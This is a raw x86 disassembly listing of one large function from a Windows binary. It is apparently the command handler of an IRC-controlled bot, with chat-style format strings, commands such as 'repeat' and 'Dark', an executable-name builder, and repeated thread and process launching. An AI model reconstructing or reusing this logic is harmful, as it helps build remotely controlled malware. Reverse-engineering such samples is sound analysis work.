		call	sub_41AFE0
		push	[ebp+arg_8]
		add	esi, eax
		call	sub_41AFE0
		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41B900
		mov	esi, eax
		add	esp, 14h
		cmp	esi, ebx
		jz	loc_409854
		push	[ebp+arg_10]
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_409854
		push	[ebp+arg_10]
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409854
		push	ebx
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43DEBC[eax]
		call	sub_409A72
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_43DCB0[eax], 73h
		jnz	loc_409854
		push	esi
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_43DEC8
		push	eax
		push	edi
		push	offset aSSS_1	; "[%s]	<%s> %s"


loc_407A35:				; CODE XREF: sub_401ACD+5E8Bj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 28h
		jmp	loc_409854
; ---------------------------------------------------------------------------


loc_407A62:				; CODE XREF: sub_401ACD+4ED1j
					; sub_401ACD+4EE8j
		push	[ebp+arg_10]
		call	dword_4CAFB4
		push	edi
		mov	[ebp+var_680], eax
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+var_690], eax
		call	sub_41B779
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_688], eax
		lea	eax, [ebp+var_710]
		mov	[ebp+var_714], esi
		push	eax
		call	sub_41B5F0
		add	esp, 14h
		mov	edi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_678], edi
		push	[ebp+var_688]
		mov	[ebp+var_674], eax
		push	[ebp+var_690]
		push	[ebp+var_680]
		call	dword_4CB000
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A3D8
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_684], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_714]
		push	ebx
		push	eax
		push	offset dword_40C668
		push	ebx
		push	ebx
		call	near ptr 266057Dh
		nop
		mov	ecx, [ebp+var_684]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_407B44


loc_407B2E:				; CODE XREF: sub_401ACD+6075j
		cmp	[ebp+var_670], ebx
		jnz	loc_403DA0
		push	32h
		nop
		call	near ptr 2660545h
		jmp	short loc_407B2E
; ---------------------------------------------------------------------------


loc_407B44:				; CODE XREF: sub_401ACD+605Fj
		nop
		call	near ptr 2660D84h
		push	eax
		push	offset unk_42A4CC
		jmp	loc_403D91
; ---------------------------------------------------------------------------


loc_407B55:				; CODE XREF: sub_401ACD+4EA3j
					; sub_401ACD+4EBAj
		push	[ebp+arg_10]
		call	sub_41B779
		mov	[ebp+var_112C],	eax
		push	7Fh
		lea	eax, [ebp+var_1230]
		push	edi
		push	eax
		call	sub_41B5F0
		push	[ebp+arg_0]
		call	sub_41B779
		mov	esi, [ebp+arg_4]
		add	esp, 14h
		mov	[ebp+var_1130],	eax
		lea	eax, [ebp+var_11B0]
		push	[ebp+var_88]
		mov	[ebp+var_1238],	esi
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		mov	edi, [ebp+var_4]
		mov	[ebp+var_111C],	eax
		push	[ebp+var_1130]
		lea	eax, [ebp+var_1230]
		mov	[ebp+var_1120],	edi
		push	eax
		push	[ebp+var_112C]
		push	esi
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A39C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	18h
		push	eax
		call	sub_40B0F6
		add	esp, 24h
		mov	[ebp+var_1128],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1238]
		push	ebx
		push	eax
		push	offset loc_4103AA
		push	ebx
		push	ebx
		nop
		call	near ptr 266057Dh
		mov	ecx, [ebp+var_1128]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_407C41


loc_407C2B:				; CODE XREF: sub_401ACD+6172j
		cmp	[ebp+var_1118],	ebx
		jnz	loc_403DA0
		push	32h
		nop
		call	near ptr 2660545h
		jmp	short loc_407C2B
; ---------------------------------------------------------------------------


loc_407C41:				; CODE XREF: sub_401ACD+615Cj
		nop
		call	near ptr 2660D84h
		push	eax
		push	offset unk_42A358
		jmp	loc_403D91
; ---------------------------------------------------------------------------


loc_407C52:				; CODE XREF: sub_401ACD+4E75j
					; sub_401ACD+4E8Cj
		push	0FFh
		lea	eax, [ebp+var_2878]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	0FFh
		lea	eax, [ebp+var_2778]
		push	edi
		push	eax
		call	sub_41B5F0
		push	[ebp+arg_0]
		mov	[ebp+var_2674],	ebx
		call	sub_41B779
		mov	[ebp+var_2670],	eax
		mov	eax, [ebp+esi+var_80]
		add	esp, 1Ch
		cmp	eax, ebx
		jz	short loc_407CAB
		push	10h
		push	ebx
		push	eax
		call	sub_41BDC5
		add	esp, 0Ch
		mov	[ebp+var_2668],	eax
		jmp	short loc_407CB1
; ---------------------------------------------------------------------------


loc_407CAB:				; CODE XREF: sub_401ACD+61C8j
		mov	[ebp+var_2668],	ebx


loc_407CB1:				; CODE XREF: sub_401ACD+61DCj
		mov	esi, [ebp+esi+var_7C]
		cmp	esi, ebx
		jz	short loc_407CC8
		push	esi
		call	sub_41B779
		pop	ecx
		mov	[ebp+var_266C],	eax
		jmp	short loc_407CCE
; ---------------------------------------------------------------------------


loc_407CC8:				; CODE XREF: sub_401ACD+61EAj
		mov	[ebp+var_266C],	ebx


loc_407CCE:				; CODE XREF: sub_401ACD+61F9j
		movzx	eax, [ebp+var_8FB]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_2664],	eax
		lea	eax, [ebp+var_28F8]
		mov	[ebp+var_28FC],	esi
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_265C],	eax
		mov	eax, [ebp+var_8]
		push	edi
		mov	[ebp+var_2660],	eax
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A32C
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_2C4]
		push	1Dh
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_2678],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_28FC]
		push	ebx
		push	eax
		push	offset loc_4163F9
		push	ebx
		push	ebx
		nop
		call	near ptr 266057Dh
		mov	ecx, [ebp+var_2678]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_407D7F


loc_407D69:				; CODE XREF: sub_401ACD+62B0j
		cmp	[ebp+var_2658],	ebx
		jnz	loc_407278
		push	32h
		nop
		call	near ptr 2660545h
		jmp	short loc_407D69
; ---------------------------------------------------------------------------


loc_407D7F:				; CODE XREF: sub_401ACD+629Aj
		nop
		call	near ptr 2660D84h
		push	eax
		push	offset unk_42A2EC
		jmp	loc_407269
; ---------------------------------------------------------------------------


loc_407D90:				; CODE XREF: sub_401ACD+4E47j
					; sub_401ACD+4E5Ej
		push	7Fh
		lea	eax, [ebp+var_3490]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3410]
		push	edi
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3390]
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3310]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_328C],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_3288],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		mov	[ebp+var_3494],	esi
		push	[ebp+arg_10]
		push	offset unk_42A2B0
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	12h
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_3290],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3494]
		push	ebx
		push	eax
		push	offset byte_414A91
		push	ebx
		push	ebx
		call	near ptr 266057Dh
		nop
		mov	ecx, [ebp+var_3290]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_407E67


loc_407E51:				; CODE XREF: sub_401ACD+6398j
		cmp	[ebp+var_3284],	ebx
		jnz	loc_407278
		push	32h
		nop
		call	near ptr 2660545h
		jmp	short loc_407E51
; ---------------------------------------------------------------------------


loc_407E67:				; CODE XREF: sub_401ACD+6382j
		nop
		call	near ptr 2660D84h
		push	eax
		push	offset unk_42A278
		jmp	loc_407269
; ---------------------------------------------------------------------------


loc_407E78:				; CODE XREF: sub_401ACD+4D1Aj
					; sub_401ACD+4D31j
		push	7Fh
		lea	eax, [ebp+var_3068]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_2FE8]
		push	edi
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_2F68]
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_2EE8]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_2E64],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2E60],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		mov	[ebp+var_306C],	esi
		push	[ebp+arg_10]
		push	offset unk_42A248
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Eh
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_2E68],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_306C]
		push	ebx
		push	eax
		push	offset dword_4137CC
		push	ebx
		push	ebx
		nop
		call	near ptr 266057Dh
		mov	ecx, [ebp+var_2E68]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_407F4F


loc_407F39:				; CODE XREF: sub_401ACD+6480j
		cmp	[ebp+var_2E5C],	ebx
		jnz	loc_407278
		push	32h
		nop
		call	near ptr 2660545h
		jmp	short loc_407F39
; ---------------------------------------------------------------------------


loc_407F4F:				; CODE XREF: sub_401ACD+646Aj
		call	near ptr 2660D84h
		nop
		push	eax
		push	offset unk_42A210
		jmp	loc_407269
; ---------------------------------------------------------------------------


loc_407F60:				; CODE XREF: sub_401ACD+4BF1j
					; sub_401ACD+4C08j ...
		push	7Fh
		lea	eax, [ebp+var_3CE4]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3C64]
		push	edi
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3BE4]
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3B64]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		push	20h
		lea	eax, [ebp+var_3AE4]
		push	[ebp+arg_8]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 3Ch
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_3A64],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_3A60],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		mov	[ebp+var_3CEC],	esi
		push	[ebp+arg_10]
		push	offset unk_42A1E0
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Dh
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_3CE8],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3CEC]
		push	ebx
		push	eax
		push	offset byte_412A53
		push	ebx
		push	ebx
		nop
		call	near ptr 266057Dh
		mov	ecx, [ebp+var_3CE8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_408048


loc_408032:				; CODE XREF: sub_401ACD+6579j
		cmp	[ebp+var_3A5C],	ebx
		jnz	loc_407278
		push	32h
		nop
		call	near ptr 2660545h
		jmp	short loc_408032
; ---------------------------------------------------------------------------


loc_408048:				; CODE XREF: sub_401ACD+6563j
		nop
		call	near ptr 2660D84h
		push	eax
		push	offset unk_42A1A8
		jmp	loc_407269
; ---------------------------------------------------------------------------


loc_408059:				; CODE XREF: sub_401ACD+4BC3j
					; sub_401ACD+4BDAj
		push	7Fh
		lea	eax, [ebp+var_1778]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	edi
		call	sub_41B779
		push	3Fh
		mov	[ebp+var_1628],	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_16F8]
		push	eax
		call	sub_41B5F0
		mov	esi, [ebp+esi+var_80]
		add	esp, 1Ch
		cmp	esi, ebx
		jz	short loc_4080A4
		push	3Fh
		lea	eax, [ebp+var_16B8]
		push	esi
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch


loc_4080A4:				; CODE XREF: sub_401ACD+65C3j
		lea	eax, [ebp+var_16F8]
		mov	[ebp+var_1624],	1
		push	eax
		lea	eax, [ebp+var_1778]
		push	[ebp+var_1628]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A178
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Fh
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_1620],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_177C]
		push	ebx
		push	eax
		push	offset sub_4017ED
		push	ebx
		push	ebx
		nop
		call	near ptr 266057Dh
		mov	ecx, [ebp+var_1620]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_408130


loc_40811A:				; CODE XREF: sub_401ACD+6661j
		cmp	[ebp+var_161C],	ebx
		jnz	loc_406CDE
		push	32h
		nop
		call	near ptr 2660545h
		jmp	short loc_40811A
; ---------------------------------------------------------------------------


loc_408130:				; CODE XREF: sub_401ACD+664Bj
		call	near ptr 2660D84h
		nop
		push	eax
		push	offset dword_42A13C
		jmp	loc_406CCF
; ---------------------------------------------------------------------------


loc_408141:				; CODE XREF: sub_401ACD+4B83j
					; sub_401ACD+4B9Aj
		push	edi
		call	sub_41B779
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_1D64],	eax
		jle	loc_408234
		push	[ebp+arg_10]
		mov	esi, 80h
		lea	eax, [ebp+var_1EEC]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		xor	eax, eax
		cmp	[ebp+var_8EE], bl
		push	[ebp+var_88]
		setnz	al
		mov	[ebp+var_1D60],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1EF0],	eax
		lea	eax, [ebp+var_1DEC]
		push	esi
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_1D5C],	eax
		mov	eax, [ebp+var_8]
		push	edi
		mov	[ebp+var_1D58],	eax
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A110
		push	200h
		push	eax
		call	sub_41B980
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	15h
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_1D6C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1EF0]
		push	ebx
		push	eax
		push	offset byte_412E9D
		push	ebx
		push	ebx
		nop
		call	near ptr 266057Dh
		mov	ecx, [ebp+var_1D6C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_408223


loc_408211:				; CODE XREF: sub_401ACD+6754j
		cmp	[ebp+var_1D54],	ebx
		jnz	short loc_40828B
		push	32h
		nop
		call	near ptr 2660545h
		jmp	short loc_408211
; ---------------------------------------------------------------------------


loc_408223:				; CODE XREF: sub_401ACD+6742j
		nop
		call	near ptr 2660D84h
		push	eax
		push	offset unk_42A0D8
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_408234:				; CODE XREF: sub_401ACD+6683j
		push	offset unk_42A0A0
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_40823E:				; CODE XREF: sub_401ACD+4B55j
					; sub_401ACD+4B6Cj
		push	edi
		push	[ebp+arg_10]
		nop
		call	near ptr 2680DFAh
		test	eax, eax
		jz	short loc_40826B
		push	edi
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_10]
		push	offset unk_42A07C
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 14h
		jmp	short loc_40828B
; ---------------------------------------------------------------------------


loc_40826B:				; CODE XREF: sub_401ACD+677Dj
		push	offset dword_42A070
		call	sub_41814C
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980


loc_408288:				; CODE XREF: sub_401ACD+2F2Aj
					; sub_401ACD+556Fj
		add	esp, 0Ch


loc_40828B:				; CODE XREF: sub_401ACD+2136j
					; sub_401ACD+2ECCj ...
		cmp	[ebp+var_8], ebx
		jnz	loc_4083BC
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]


loc_4082A8:				; CODE XREF: sub_401ACD+57C6j
		call	sub_409A72
		add	esp, 14h
		jmp	loc_4083BC
; ---------------------------------------------------------------------------


loc_4082B5:				; CODE XREF: sub_401ACD+4B27j
					; sub_401ACD+4B3Ej
		push	[ebp+arg_10]
		lea	eax, [ebp+var_3F04]
		push	104h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		cmp	[ebp+var_C], ebx
		jz	short loc_4082EF
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4082EF
		push	eax
		lea	eax, [ebp+var_3E00]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_4082EF:				; CODE XREF: sub_401ACD+6802j
					; sub_401ACD+6811j
		push	[ebp+var_88]
		lea	eax, [ebp+var_3F84]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_3F88],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_3CF8],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_3CF4],	eax
		lea	eax, [ebp+var_3E00]
		push	eax
		lea	eax, [ebp+var_3F04]
		push	eax
		push	offset unk_42A040
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	24h
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_3CFC],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3F88]
		push	ebx
		push	eax
		push	offset byte_416CAD
		push	ebx
		push	ebx
		call	near ptr 266057Dh
		nop
		mov	ecx, [ebp+var_3CFC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_4083A1


loc_40838F:				; CODE XREF: sub_401ACD+68D2j
		cmp	[ebp+var_3CF0],	ebx
		jnz	short loc_4083BC
		push	32h
		nop
		call	near ptr 2660545h
		jmp	short loc_40838F
; ---------------------------------------------------------------------------


loc_4083A1:				; CODE XREF: sub_401ACD+68C0j
		nop
		call	near ptr 2660D84h
		push	eax
		push	offset unk_42A004


loc_4083AD:				; CODE XREF: sub_401ACD+925j
					; sub_401ACD+A63j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_4083BC:				; CODE XREF: sub_401ACD+7E1j
					; sub_401ACD+94Cj ...
		push	1
		pop	esi
		jmp	loc_406D02
; ---------------------------------------------------------------------------


loc_4083C4:				; CODE XREF: sub_401ACD+4AF9j
					; sub_401ACD+4B10j
		push	44h
		lea	eax, [ebp+var_668]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_41B590
		push	1
		mov	[ebp+var_668], esi
		pop	esi
		mov	[ebp+var_638], bx
		push	[ebp+arg_10]
		mov	[ebp+var_63C], esi
		call	sub_41B779
		add	esp, 10h
		cmp	eax, esi
		jnz	short loc_408403
		mov	[ebp+var_638], 5


loc_408403:				; CODE XREF: sub_401ACD+692Bj
		cmp	[ebp+var_C], ebx
		jz	loc_406CDE
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		jz	loc_406CDE
		lea	eax, [ebp+var_E10]
		push	eax
		lea	eax, [ebp+var_668]
		push	eax
		push	ebx
		push	ebx
		push	28h
		push	esi
		push	ebx
		push	ebx
		push	edi
		push	ebx
		nop
		call	near ptr 2640AE7h
		test	eax, eax
		jnz	short loc_40844C
		push	offset unk_429FE0
		jmp	loc_4085D5
; ---------------------------------------------------------------------------


loc_40844C:				; CODE XREF: sub_401ACD+6973j
		push	edi
		push	offset dword_429FC4
		jmp	loc_406CCF
; ---------------------------------------------------------------------------


loc_408457:				; CODE XREF: sub_401ACD+4ACBj
					; sub_401ACD+4AE2j
		push	edi
		push	offset aDark	; "Dark"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4085D0
		lea	eax, [ebp+var_48F0]
		push	eax
		push	104h
		nop
		call	near ptr 2680000h
		push	0FFh
		lea	eax, [ebp+var_25D0]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_17D0]
		push	eax
		call	sub_40AD80
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_48F0]
		push	eax
		lea	eax, [ebp+var_24D0]
		push	offset aSS_exe	; "%s%s.exe"
		push	eax
		call	sub_41B886
		mov	eax, [ebp+esi+var_84]
		add	esp, 10h
		cmp	eax, ebx
		mov	[ebp+var_23CC],	1
		mov	[ebp+var_23C8],	ebx
		jz	short loc_4084EC
		push	10h
		push	ebx
		push	eax
		call	sub_41BDC5
		add	esp, 0Ch
		mov	[ebp+var_23C0],	eax
		jmp	short loc_4084F2
; ---------------------------------------------------------------------------


loc_4084EC:				; CODE XREF: sub_401ACD+6A09j
		mov	[ebp+var_23C0],	ebx


loc_4084F2:				; CODE XREF: sub_401ACD+6A1Dj
		mov	esi, [ebp+esi+var_80]
		cmp	esi, ebx
		jz	short loc_408509
		push	esi
		call	sub_41B779
		pop	ecx
		mov	[ebp+var_23C4],	eax
		jmp	short loc_40850F
; ---------------------------------------------------------------------------


loc_408509:				; CODE XREF: sub_401ACD+6A2Bj
		mov	[ebp+var_23C4],	ebx


loc_40850F:				; CODE XREF: sub_401ACD+6A3Aj
		movzx	eax, [ebp+var_8FB]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_23BC],	eax
		lea	eax, [ebp+var_2650]
		mov	[ebp+var_2654],	esi
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_23B4],	eax
		mov	eax, [ebp+var_8]
		push	[ebp+arg_10]
		mov	[ebp+var_23B8],	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_429F8C
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_2C4]
		push	1Eh
		push	eax
		call	sub_40B0F6
		add	esp, 18h
		mov	[ebp+var_23D0],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2654]
		push	ebx
		push	eax
		push	offset loc_4163F9
		push	ebx
		push	ebx
		nop
		call	near ptr 266057Dh
		mov	ecx, [ebp+var_23D0]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_4085BF


loc_4085A9:				; CODE XREF: sub_401ACD+6AF0j
		cmp	[ebp+var_23B0],	ebx
		jnz	loc_406CDE
		push	32h
		nop
		call	near ptr 2660545h
		jmp	short loc_4085A9
; ---------------------------------------------------------------------------


loc_4085BF:				; CODE XREF: sub_401ACD+6ADAj
		call	near ptr 2660D84h
		nop
		push	eax
		push	offset dword_429F50
		jmp	loc_406CCF
; ---------------------------------------------------------------------------


loc_4085D0:				; CODE XREF: sub_401ACD+6999j
		push	offset dword_429F08


loc_4085D5:				; CODE XREF: sub_401ACD+2E73j
					; sub_401ACD+457Cj ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_406CDE
; ---------------------------------------------------------------------------


loc_4085E8:				; CODE XREF: sub_401ACD+4A9Dj
					; sub_401ACD+4AB4j
		push	[ebp+var_8C]
		push	offset dword_42C930
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401E94
		cmp	[ebp+var_C], ebx
		jz	loc_401E94
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_88]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset dword_429EF8
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_41B5F0
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 28h
		test	eax, eax
		jle	short loc_408673
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 3E8h
		pop	ecx
		push	eax
		nop
		call	near ptr 2660545h


loc_408673:				; CODE XREF: sub_401ACD+6B8Ej
		push	offset dword_429EE4
		call	sub_4151AC
		mov	eax, [ebp+arg_24]
		pop	ecx
		inc	eax
		jmp	loc_401E97
; ---------------------------------------------------------------------------


loc_408687:				; CODE XREF: sub_401ACD+4A6Fj
					; sub_401ACD+4A86j
		push	[ebp+var_8C]
		push	offset dword_42C930
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401E94
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		inc	edi
		push	offset aRepeat	; "repeat"
		push	edi
		mov	esi, eax
		call	sub_41C070
		add	esp, 10h
		test	eax, eax
		push	esi
		jz	short loc_408745
		push	[ebp+var_88]
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset dword_429EF8
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_41B5F0
		add	esp, 24h
		lea	eax, [ebp+var_2C4]
		push	esi
		push	offset dword_429ECC
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 14h
		test	eax, eax
		jle	loc_409854
		push	[ebp+arg_10]
		call	sub_41B779
		add	eax, [ebp+arg_24]
		pop	ecx
		jmp	loc_401E97
; ---------------------------------------------------------------------------


loc_408745:				; CODE XREF: sub_401ACD+6BFAj
		push	offset unk_429E98


loc_40874A:				; CODE XREF: sub_401ACD+7542j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_408759:				; CODE XREF: sub_401ACD+74CAj
					; sub_401ACD+7623j
		cmp	[ebp+var_8], ebx
		jnz	short loc_40877A
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h


loc_40877A:				; CODE XREF: sub_401ACD+6C8Fj
					; sub_401ACD+72C7j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		jmp	loc_409853
; ---------------------------------------------------------------------------


loc_40878B:				; CODE XREF: sub_401ACD+4A41j
					; sub_401ACD+4A58j
		push	7Fh
		lea	eax, [ebp+var_2214]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	7Fh
		lea	eax, [ebp+var_2194]
		push	edi
		push	eax
		call	sub_41B5F0
		push	7Fh
		lea	eax, [ebp+var_2114]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 24h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_2090],	eax
		mov	eax, [ebp+var_8]
		push	edi
		push	[ebp+arg_10]
		mov	[ebp+var_208C],	eax
		lea	eax, [ebp+var_2C4]
		mov	[ebp+var_2218],	esi
		push	offset unk_429E64
		push	eax
		call	sub_41B886
		push	ebx
